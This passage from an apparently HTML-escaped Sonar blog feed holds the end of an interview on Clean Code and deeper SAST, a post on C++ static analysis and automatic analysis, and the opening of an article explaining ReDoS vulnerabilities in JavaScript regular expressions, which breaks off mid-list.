href=&quot;https://www.sonarsource.com/company/press-releases/sonar-new-deep-analysis-capability/&quot;&gt;Clean Code&lt;/a&gt;, what it is and why it’s important to security, as well as the recent announcement of &lt;a href=&quot;https://www.sonarsource.com/company/press-releases/sonar-new-deep-analysis-capability/&quot;&gt;deeper SAST&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TOM:&lt;/strong&gt; Hi there, I&amp;#x27;m Tom Field. I&amp;#x27;m Senior Vice President of editorial with Information Security Media Group talking about Clean Code. It&amp;#x27;s my privilege to welcome to the studio Olivier Gaudin, he&amp;#x27;s the founder and co-CEO of Sonar. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER: &lt;/strong&gt;Thank you so much.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;What is Meant by “Clean Code”&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;TOM:&lt;/strong&gt; So, we&amp;#x27;re going to start with this term, Clean Code. When you say “Clean Code,” what exactly do you mean? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; Okay, so what we mean is a code that is not dirty. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TOM: &lt;/strong&gt;I would say that settles it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER: &lt;/strong&gt;And how we define it is, we define it by saying that Clean Code should be consistent, which is, if you want your developer team to be able to actually manage a code, to own it collectively, to not waste time, etc., you need to have some consistency. So we&amp;#x27;re talking about style constructions, your code has to be idiomatic, etc. It has to be intentional, any you know — without going too much into details — any resource which is not released, any user input which is not sanitized, any contradicting statement is not something you intended, so we are trying to catch this to show it to you. Code has to be adaptable, which is, you need to be able to change it. By definition, everybody expects that software will be changed. Otherwise, you should call it something else. And, code should be responsible. Should not have hard-coded secrets in the code, you shouldn&amp;#x27;t steal code from others, etc. So this is really the definition of Clean Code: consistent, intentional, adaptable, and responsible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;What’s at Risk Without Clean Code&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;TOM:&lt;/strong&gt; And, we know it isn&amp;#x27;t universal these days. It&amp;#x27;s a great term but it&amp;#x27;s not broad. It&amp;#x27;s not as broadly embraced as it should be. Talk to me about what&amp;#x27;s a risk when you don&amp;#x27;t have Clean Code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; Yeah, so it&amp;#x27;s all about, if you think about software, I mean, code is a main asset of software. Apart from code, you have parts that are disposable commodities, but the code is the most important asset in your software. If your code is not clean, you are actually not going to have an asset, you are going to have a liability. You are going to have something which is difficult to change which takes a long time, which every time you change, it breaks. Which the security teams are not happy about, infrastructure teams are not happy about. So basically, we talk about productivity, velocity, risk, and fragility of your application — so lots of consequences. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;The Clean as You Code Approach&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;TOM: &lt;/strong&gt;Talk to me about your Clean as You Code approach and the benefits that can be found from that. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Olivier:&lt;/strong&gt; Yeah, so we started Sonar 15 years ago — three founders, three software engineers — that was the topic of our lives and it has since then. And what we realized very quickly is that we were having an approach to Clean Code that was not working. Even as three guys in the garage, we couldn&amp;#x27;t actually reach our objectives and we started to wonder what was wrong in our approach, and we started to wonder whether there is a business, there is a domain here that we should continue to explore. And at some stage, we realized that the way we look at the problem is not right. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; We were looking at running analysis, getting some reports, and then figuring out how to fix it. And when you do that, you leave a lot of space for actually failing, and this is what happened to us. Every release we were doing, we had certain objectives, which were reasonable, ambitious, but still achievable, and we couldn&amp;#x27;t reach them. We had to kind of massage the numbers or kind of work to make the numbers, and we felt that, if we cannot do it, nobody can do it. So we started to think about what are we doing here, are we really looking at the right problem? And we realized that we are not. What we were doing, and what a lot of companies still do, is you look at the state of your code jointly and you try to improve the overall state. And this is a problem. I&amp;#x27;m going to make a comparison — if you have a water leak at home, what do you do first? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TOM: &lt;/strong&gt;Find it?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; Yes. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TOM:&lt;/strong&gt; And stop it. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; Yes, and then you, you will mop the floor, right? You wouldn&amp;#x27;t stop mopping the floor if you haven&amp;#x27;t fixed the leak, right? Very logical, yes. When you talk about code, it&amp;#x27;s the same. Which is, you look at the state. There is water which is already on the floor, and immediately you&amp;#x27;re like “Oh my God we need to fix this, we need to fix that, we need to fix this.” And you&amp;#x27;re engaging to this, and what happened at the same time is you still have 2,000 developers who keep pushing stuff. So once we started to realize this, and when I say this way, very obvious. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TOM:&lt;/strong&gt; Yes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; It took us here probably a year and a half to actually realize this, and then it becomes super simple. The most important thing we should be doing is fixing the leak. Which means basically, making sure that whenever developers change code or add code, this code is going to be clean. And when you do this, suddenly, the new code — what we call the new code — is clean. But it has also a big upside, which is, because we keep changing software, we actually remediate the past. And this is what we call Clean as you Code. Which is, it&amp;#x27;s a very simple systematic but powerful way of basically remediating code throughout your application. You are paying back the legacy technical debt with this. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Optimizing the DevOps Workflow with Clean Code&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;TOM: &lt;/strong&gt;So tell me how DevOps workflows then can be optimized.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER: &lt;/strong&gt;So, my definition of DevOps is, it&amp;#x27;s a set of tools on processes that will enable development, to produce code linearly. And what happens is that, if you don&amp;#x27;t do Clean Code, you&amp;#x27;re going to be able to do that once, twice, you are going to be able to do one iteration, two iterations, three iterations. But at some stage, when you will want to add features, you are going to be stuck with your &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt;. Which is, you want to change something but it&amp;#x27;s breaking something else, it&amp;#x27;s difficult to read, people don&amp;#x27;t really understand the code anymore. So basically, if you have, if you deliver Clean Code — preferred approach is Clean as You Code, the most efficient one — you will be able to have a sustainable, continuous delivery.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TOM: &lt;/strong&gt;Yeah, presumably your developer productivity and speed and delivery can be enhanced as well.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; Absolutely. There are two big upsides — one is really what I call the throughput, which is you can do more with the same number of people or you can do the same with less people. And your risk management, which is, you don&amp;#x27;t want that when you send your application to production, it crashes or it can be hacked. Basically, these are the two big upsides. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Taking a Deeper Look into SAST&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;TOM: &lt;/strong&gt;So, now you&amp;#x27;ve made an announcement in advance of Black Hat. Can you tell me some of the details, please? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; Sure. So, what we announced is that we have released what we call deeper SAST, which is a deep version that goes deeper when doing security analysis. So, if you think about the, the world of application security today, you really have two parts. One is, you analyze a code. And then the second part is you play with, I mean you, you interact with, with the application at runtime. So we focus by definition on the first. And in that, in that world of analyzing code, there are again two parts. One is to look at your own code, so you basically do static analysis to kind of understand where you have introduced vulnerabilities. On the other part is what&amp;#x27;s called dependency management SCA, OSA, etc. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; And to me, one of the things that has always been very weird is both parts are code, but we look at them differently. On one side, we analyze. On the other side, we just create databases that are going to reference vulnerabilities. Why do we do this? I think historically, it&amp;#x27;s due to issues with technology performance, etc. but there is no real reason to do that anymore. We believe we should analyze both parts as being code because, at the end of the day, the libraries are just an extension of your own code — this is code you don&amp;#x27;t rewrite, you reuse basically. So this is what we do now, we analyze the whole code at once and we can find vulnerabilities that could not be found before. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Sonar’s Differentiation&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;TOM:&lt;/strong&gt; Now Olivier, the conversations you&amp;#x27;ve had for years are conversations that many security leaders are having just now. This is a marketplace where software security is now embraced. In this marketplace, how does Sonar differentiate itself from other competitors? &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER&lt;/strong&gt;: If you have been to Black Hat and have gone around in the expo hall, you&amp;#x27;re gonna find that messages are very similar in all booths. But if you take a little step back and you think a little bit more about how people engage, it&amp;#x27;s actually very visible in messaging. Most vendors, they actually declare that they are developer friendly, they declare that they are shifting left, and they declare that sometimes they help to put developers at the service of the security team. And I think this is really what they do, which is most vendors, they actually come into play when security is being reviewed. And because there is so much friction, they realize — friction in terms of, this is coming too late and developers are also pushing back on fixing stuff — they are trying to get more into the development part. We took the totally opposite approach, which is, we are coming from the dev. Which is, we serve developers. And as a very nice side effect, it actually has a big impact on security. So it actually benefits the security team. So to me, this is the biggest difference and as we have done that since ever, we basically had to be able to please developers. Which is, our product is super fast, super well integrated, and has very few false positives, because you know what? Developers, they don&amp;#x27;t like false positives. When they see one false positive and then another one, and then a third one, the next issue — which is going to come — is going to be like, “I&amp;#x27;m not even looking at it, it&amp;#x27;s a false positive.”&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TOM:&lt;/strong&gt; Very good. Appreciate your time, appreciate your insight. Thank you so much.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;OLIVIER:&lt;/strong&gt; Thank you very much. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;TOM:&lt;/strong&gt; The topic has been Clean Code. You can look at the shirt — code better. My delight is speaking with Olivier Gaudin, founder and co-CEO of Sonar. For Information Security Media Group, I&amp;#x27;m Tom Field. Thank you for your time and attention today.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/security-guy-interview-deeper-with-sast-clean-code/&quot;&gt;Security Guy TV Interview - Going Deeper with SAST and Clean Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/deeper-sast-javascript/&quot;&gt;What is deeper SAST in JavaScript?&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why I’m passionate about Static Analysis and how I helped make it better]]></title><description><![CDATA[ Why I’m passionate about Static Analysis and how I helped make it better]]></description><link>https://www.sonarsource.com/blog/why-i-m-passionate-about-static-analysis-and-how-i-helped-make-it-better</link><guid isPermaLink="false">8a68314a-02e9-5028-af51-c92b3e55bd84</guid><dc:creator><![CDATA[Abbas Sabra]]></dc:creator><pubDate>Mon, 02 Oct 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I was recently interviewed on the C++ podcast, CppCast - “the first podcast by C++ developers, for C++ developers”.  We talked about static analysis and how I got into it in the first place. Then we talked about Automatic Analysis for C++, a feature that we have been working on for over a year and was released just last month on SonarCloud.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can listen to the podcast here:&lt;a href=&quot;https://cppcast.com/automatic_static_analysis/&quot;&gt; https://cppcast.com/automatic_static_analysis/&lt;/a&gt;. Still, I’m going to cover most of what we talked about here, too.&lt;/p&gt;&lt;h2&gt;How I got into static analysis&lt;/h2&gt;&lt;p&gt;Earlier in my career, I was working in finance, where runtime efficiency is usually held up above all else - including developer efficiency. I saw much productivity lost to tooling issues that could have been avoided. I would say that we spent about 80% of our time debugging. One day, when I was working on a million-lines-of-code interest rate derivative project, I got a ticket for a bug where a calculation was coming out wrong. It took me two days to find that bug, and it turned out to be an expression with a side-effect that we relied on. Someone had moved it into a &lt;code&gt;decltype&lt;/code&gt;. The trouble with that is that the side-effect no longer happened, impacting the calculations in the financial model.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once I found this, I wondered if there were more cases where something similar had happened, and it occurred to me that I could write a simple script to look through the code for me. It took me less than an hour to write the script and just a few seconds to run across the whole codebase. But it found another such issue that could have led to another multi-day debugging session!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;That experience got me hooked on finding things that could be quickly automated for significant productivity gains - especially when it comes to finding issues in the code - or finding patterns that might lead to issues. And that passion led me to static analysis.&lt;/p&gt;&lt;h2&gt;The challenges of C++ tooling&lt;/h2&gt;&lt;p&gt;Whether it’s static analysis, a code inspection tool, an IDE, or just a syntax highlighter or code formatter, C++ tooling is much more complex than most other languages. Mainly because all these tools ultimately rely on the ability to &lt;em&gt;parse&lt;/em&gt; the language - and C++ is a complicated and resource-intensive language to parse. There are many grammatical peculiarities - such as a token changing meaning depending on what comes later or years of backward compatibility legacy - all the way back to C (and sometimes even earlier). Then there’s the preprocessor and tons of compiler extensions, which throw everything into question again. So maintaining a reliable parser for C++ is a big task for even a medium-sized team working full-time!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Things have improved since we got clang-tooling. Now, the same parser that the Clang compiler uses can be built on by other tools. However, even that is not a magic bullet. Clang-tooling can get small limited-scope projects quite far - so that’s good. Nonetheless, complex and performance-sensitive tools with a wide range of use cases, like an IDE or a full-featured static analysis tool, must deal with many extra complexities. Even before you allow for the fact that Clang is no longer the first to implement new language features, you must deal with incomplete code and exotic compiler extensions. Clang can assume the code is complete and compile based on that assumption. If it’s not, that’s a compiler error. But for something that needs to understand the code &lt;em&gt;while you’re writing it&lt;/em&gt; - in real time - this adds a lot of extra complexity. Also, Clang has different performance constraints than the usual interactive IDE-based tools.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Unlike C++, languages with more regular syntax, typically designed with toolability in mind, are much easier to work with. That’s why, for example, IDEs for Java or C# tend to feel so much smoother and more productive - and at the same time, lighter - than those for C++, even when they are all built by the same company, like the JetBrains IDEs. Sadly, things don’t get better for tooling with “modern C++”; they even get worse! We can now write almost anything as &lt;code&gt;constexpr&lt;/code&gt; code - which sounds like a great win. However, for tools, they now must have a full-blown C++ interpreter just to be able to parse it! Even when you aspire to use C++20 modules to solve the frequent parsing bottleneck of text-based include directives, backward compatibility always reminds you that, for C++ tooling, there is no moving forward.&lt;/p&gt;&lt;h2&gt;Static analysis as a tool for education&lt;/h2&gt;&lt;p&gt;We tend to think of static analysis for finding bugs - or patterns that might lead to bugs - all without compiling your code (as opposed to dynamic analysis, which works at runtime). Of course, it’s great for that. At the same time, a good static analyzer should also help you to understand &lt;em&gt;why&lt;/em&gt; something is an issue or &lt;em&gt;why&lt;/em&gt; there may be a better way to do something. If the spirit of Left Shifting is dealing with things at earlier and earlier stages in the pipeline, then arming you with the knowledge to avoid writing problematic code in the first place is the ultimate Left Shift. For me, that’s even more interesting. This is especially the case now that C++ is such a fast-moving target, with major new versions like C++ 20 often overturning what we consider best practices. Even the most experienced can struggle to keep up.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, at Sonar, we strive to write good rule descriptions that help you understand the problem - and we’re constantly improving even older rules. We also have rules specifically for detecting patterns representing older usages and explaining how to update them to modern forms - and, when feasible, &lt;a href=&quot;https://www.youtube.com/watch?v=LO0mUe_YYY4&amp;t=1s&quot;&gt;doing it for you&lt;/a&gt;. For example, static analyzers can do exceptionally well with detecting equivalent code. We build on that by detecting raw loops with a specific equivalent STL algorithm, and we encourage you to leverage the STL - perhaps using the newer range algorithms if you’re using C++20 or later. Most of us could do with making better use of the STL algorithms, so this is a great educational resource..”&lt;/p&gt;&lt;h2&gt;Path explosion&lt;/h2&gt;&lt;p&gt;So static analysis is great for detecting patterns in code that might lead to issues - prompting you to follow “best practices”. Detecting &lt;em&gt;actual&lt;/em&gt; bugs - e.g., dereferencing a null pointer (where the pointer value is only known at runtime) is also possible but often much harder. It is not just harder in terms of the code needed to do the detection but harder in the mathematical sense of needing to track exponentially increasing possible states. We call this the “Path Explosion Problem”.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For example, if you write some code that, given two integers, divides one by the other, then there are various failure modes depending on the values of the integers. An obvious one is what if the denominator is zero? Now you have UB. So, you need to look at where those integers came from, their possible values, and what branches they took along the way. If you can see that, before the division, the denominator is checked against zero - and branches away if it is - we should be safe from division by zero issues. We call this theoretical stepping through stages of code “symbolic execution”. That’s reasonably achievable if that check is fairly close to the division itself. But the further away it gets, the more intermediate branches you must account for. If you cross the function boundary, then things get especially tricky. But once you have calls from other translation units, the problem becomes intractable in the general case. In some specific cases, we can do whole program analysis to catch cross-translation unit issues, but it is not feasible to do this in general. To do so accurately, you would need to effectively execute the whole program - in the analyzer - for all possible ranges of inputs. You may not even have all the source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But despite its limitations, symbolic execution is still very valuable; it does detect complex bugs in established codebases. It is one of the many techniques we use at Sonar to implement our rules - some of our most specialized developers are working on it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Nonetheless, dynamic analyst tools, such as Valgrind and the Clang Sanitisers (msan, asan, ubsan, etc.), are still valuable to run alongside static analysis - although they can typically only detect issues if they are encountered at runtime. This is why I feel that detecting &lt;em&gt;patterns&lt;/em&gt; that can lead to issues (so-called “Code Smells”) is the best contribution that static analyzers can make. If you follow these best practices, then we can usually steer clear of the actual bugs in the first place. A good example here is spotting locations where we can use abstractions like &lt;code&gt;std::span&lt;/code&gt; or &lt;code&gt;std::stringview&lt;/code&gt; instead of raw pointers and lengths. Better still might be to use &lt;code&gt;gsl::span&lt;/code&gt; (from the C++ Code Guidelines Support Library), as this is also range-checked. These are all patterns we can check and warn you about - even if the code, itself, is not buggy.&lt;/p&gt;&lt;h2&gt;How do Sonar tools fit in?&lt;/h2&gt;&lt;p&gt;We also talked, on the episode, about the tools that we offer as part of the Sonar Solution. If you’re reading this here, you may already know about them - but it’s worth mentioning that we do have three tools and what the differences are.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarLint is likely to be the most familiar to many developers. It runs as a plug-in in your IDE and analyzes your code as you write - giving you real-time feedback along the lines we’ve already discussed. It also offers Quick Fixes for many issues, so it can even rewrite the code for you. That’s great for the ultimate left-shifting we talked about. But that only works if everyone is using the same tools in the same way. That’s hard to enforce in our modern heterogeneous development teams. So, we also have two services that can run as part of your server-based builds (what we sometimes call CI or CD servers). SonarQube and SonarCloud are largely the same - but you’d usually use SonarQube if you’re self-hosting or SonarCloud if you want us to host. SonarCloud is especially useful for Open Source software projects. There’s a lot more to them than just running the same analyzers on the server. They can act as quality gates on Pull Requests, for example - so you can be sure that new issues are not being introduced. They also enable our Clean as You Code process - where by doing nothing more than keeping your new commits clean, over time the whole code base (or a significant chunk with the highest churn rate) gets cleaned along the way. This prevents the common feeling of being overwhelmed when you turn on all warnings for the first time or use a new quality tool.&lt;/p&gt;&lt;h2&gt;Automatic Analysis&lt;/h2&gt;&lt;p&gt;One downside to the server-based tools is that they need some configuring, integrating into your toolchain, and maintaining that over time. This is often quite a bit more involved than with other language ecosystems because of the nature of C++ build systems and the wide range of compilers. If you have dedicated DevOps resources, this shouldn’t be an issue. Yet, if this is a developer’s part-time responsibility or you’re an open-source author, this can be a bit of a barrier to entry - at least just to try them out.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, we really wanted to make all that complexity disappear and offer a zero-config option for systematically incorporating static analysis across a project. We’ve had this for some other languages for some time now, but for C++, we - even I - considered it impossible for some time. Fortunately, we had a breakthrough last year and thought we had a shot at doing it. So, since then, I’ve been leading a small team and am pleased to say that last month, we released Automatic Analysis for C++, and I have to say, it has exceeded our expectations. It works so well that we’re now suggesting this be the default way to set up C++ analysis in SonarCloud! All you need to do is give SonarCloud access to your source code and tell it to analyze it, and it goes away, figures out the most likely build options, dependencies, etc., and analyzes on that basis. The entire process takes less than a minute! &lt;a href=&quot;https://www.youtube.com/shorts/CzsKXh1Fx5g&quot;&gt;See for yourself&lt;/a&gt;. According to the data we have from our large corpus of projects we test against internally, we get something like 95% accuracy. For compilation, only 100% is good enough, but for static analysis, 95% is actually excellent - and for most projects, you would probably not know the difference. If you have a special case you can always fall back to a manual setup approach, of course.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We’re very proud of what we have achieved. I don’t believe anyone else has been able to do this yet. What excites me is that this technology can now open up static analysis to even more developers, especially those contributing to open-source projects where this feature is free!&lt;/p&gt;&lt;h2&gt;Learn more:&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/no-c-static-analysis-does-not-have-to-be-painful/&quot;&gt;No, C++ static analysis does not have to be painful&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/features/auto-analysis-for-c-and-cpp/&quot;&gt;Automatic analysis for C and C++ with SonarCloud&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/projects?sort=analysis_date&amp;languages=c%2Ccpp&quot;&gt;Try SonarCloud for free&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[A comprehensive guide to the dangers of Regular Expressions in JavaScript]]></title><description><![CDATA[A deep investigation into regular expression denial of service (ReDoS) vulnerabilities in JavaScript]]></description><link>https://www.sonarsource.com/blog/vulnerable-regular-expressions-javascript</link><guid isPermaLink="false">b16ba578-63a6-5845-9131-4b4e7259dada</guid><dc:creator><![CDATA[Phil Nash]]></dc:creator><pubDate>Fri, 29 Sep 2023 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;I first heard about regular expression denial of service (ReDoS) vulnerabilities from &lt;a href=&quot;https://github.com/dependabot&quot;&gt;GitHub&amp;#x27;s Dependabot&lt;/a&gt;. Several of my projects over the years have had dependencies that suffered from ReDoS vulnerabilities, and I would bet that if you&amp;#x27;ve built any JavaScript project with dependencies, you&amp;#x27;ve also come across this.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This got me thinking; if there are vulnerable regular expressions in our dependencies&amp;#x27; code, what about our application code, too? It is upon all of us who may write a regular expression to recognise when one may be vulnerable. Perhaps there&amp;#x27;s more to &lt;a href=&quot;http://regex.info/blog/2006-09-15/247&quot;&gt;the saying&lt;/a&gt;:&lt;/p&gt;&lt;blockquote&gt;Some people, when confronted with a problem, think
“I know, I&apos;ll use regular expressions.”   Now they have two problems.&lt;footer&gt;&lt;cite&gt;&lt;/cite&gt;&lt;/footer&gt;&lt;/blockquote&gt;&lt;p&gt;In this article, we are going to look deeper into ReDoS and show what can go wrong. We&amp;#x27;ll investigate real-life examples of vulnerable regular expressions from outage reports and open source. We&amp;#x27;ll see what can go wrong with seemingly innocent regular expressions like &lt;code&gt;/\s*,\s*/&lt;/code&gt; or &lt;code&gt;/^(.+\.)*localhost$/&lt;/code&gt;. We&amp;#x27;ll understand what causes expressions like these to be vulnerable and see ways to fix and avoid ReDoS issues.&lt;/p&gt;&lt;h2&gt;What is a regular expression denial of service vulnerability?&lt;/h2&gt;&lt;p&gt;Due to the way that many regular expression engines work it is possible to write an expression that, with the right input, will cause the engine to take a long time to evaluate. In JavaScript, this will occupy the main thread and halt the event loop until the expression has been completely evaluated.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the front end, this will cause the main thread to hang, stopping animations and other events. In the back end, this will block the main thread and prevent the server from being able to serve other requests or process other events. So that&amp;#x27;s a bad user experience in the browser and on the server, an issue that may also bring your entire application down leading to a bad experience for everyone involved.&lt;/p&gt;&lt;h3&gt;Does this really happen?&lt;/h3&gt;&lt;p&gt;In &lt;a href=&quot;https://stackstatus.tumblr.com/post/147710624694/outage-postmortem-july-20-2016&quot;&gt;2016 Stack Overflow experienced a 34-minute outage&lt;/a&gt;, in &lt;a href=&quot;https://blog.cloudflare.com/details-of-the-cloudflare-outage-on-july-2-2019/&quot;&gt;2019 CloudFlare experienced 27 minutes of downtime&lt;/a&gt;. In each case, a ReDoS started a chain of events that led to a full outage. Neither incident was due to anything malicious, just a couple of regular expressions that no one expected to cause an issue ballooning up to full CPU usage. We&amp;#x27;ll take a look at each of the regular expressions that caused these outages throughout this article.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As I wrote above, ReDoS vulnerabilities also manifest in npm packages which your application may rely on. ReDoS issues have been found in the regular expressions of well-known packages like &lt;a href=&quot;https://www.npmjs.com/package/minimatch&quot;&gt;minimatch&lt;/a&gt;, &lt;a href=&quot;https://www.npmjs.com/package/moment&quot;&gt;moment&lt;/a&gt;, and &lt;a href=&quot;https://www.npmjs.com/package/node-fetch&quot;&gt;node-fetch&lt;/a&gt;, each responsible for millions of downloads a week.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are plenty of places you might write a regular expression within an application, for example; parsing data out of user input, replacing subsections of text, or validating user input. Since ReDoS vulnerabilities depend on the combination of a vulnerable regular expression with problematic user input, and we can&amp;#x27;t control user input, this is where regular expressions can get dangerous. So let&amp;#x27;s look at what causes a ReDoS and how we can avoid it.&lt;/p&gt;&lt;h2&gt;Backtracking&lt;/h2&gt;&lt;p&gt;It might not seem obvious, but most problems with regular expressions stem from failing to match part of the string they are being evaluated against. Matching is easy, but not matching can cause a process called backtracking where the regular expression engine will go back over choices that it made and try alternatives.&lt;/p&gt;&lt;h3&gt;Lost in spaces&lt;/h3&gt;&lt;p&gt;Let&amp;#x27;s have a look at an example. In the Stack Overflow outage, the offending regular expression was &lt;code&gt;/^[\s\u200c]+|[\s\u200c]+$/&lt;/code&gt;. Let&amp;#x27;s break down what each part means:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Input_boundary_assertion&quot;&gt;The &lt;code&gt;^&lt;/code&gt; matches the start of a line and the &lt;code&gt;$&lt;/code&gt; matches the end of the line&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#white_space&quot;&gt;&lt;code&gt;\s &lt;/code&gt;matches whitespace characters&lt;/a&gt; like tab and space&lt;/li&gt;&lt;li&gt;&lt;code&gt;\u200c&lt;/code&gt; is a &lt;a href=&quot;http://www.unicode-symbol.com/u/200C.html&quot;&gt;Unicode zero-width space&lt;/a&gt; that isn&amp;#x27;t otherwise matched by &lt;code&gt;\s&lt;/code&gt;&lt;/li&gt;&lt;li&gt;Square brackets create a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_class&quot;&gt;character class&lt;/a&gt; that matches any character within the brackets&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Quantifier&quot;&gt;The &lt;code&gt;+&lt;/code&gt; is a quantifier&lt;/a&gt; that matches 1 or more characters&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Disjunction&quot;&gt;The &lt;code&gt;|&lt;/code&gt; is a disjunction&lt;/a&gt;, an &amp;quot;or&amp;quot;, it gives alternatives for the expression to 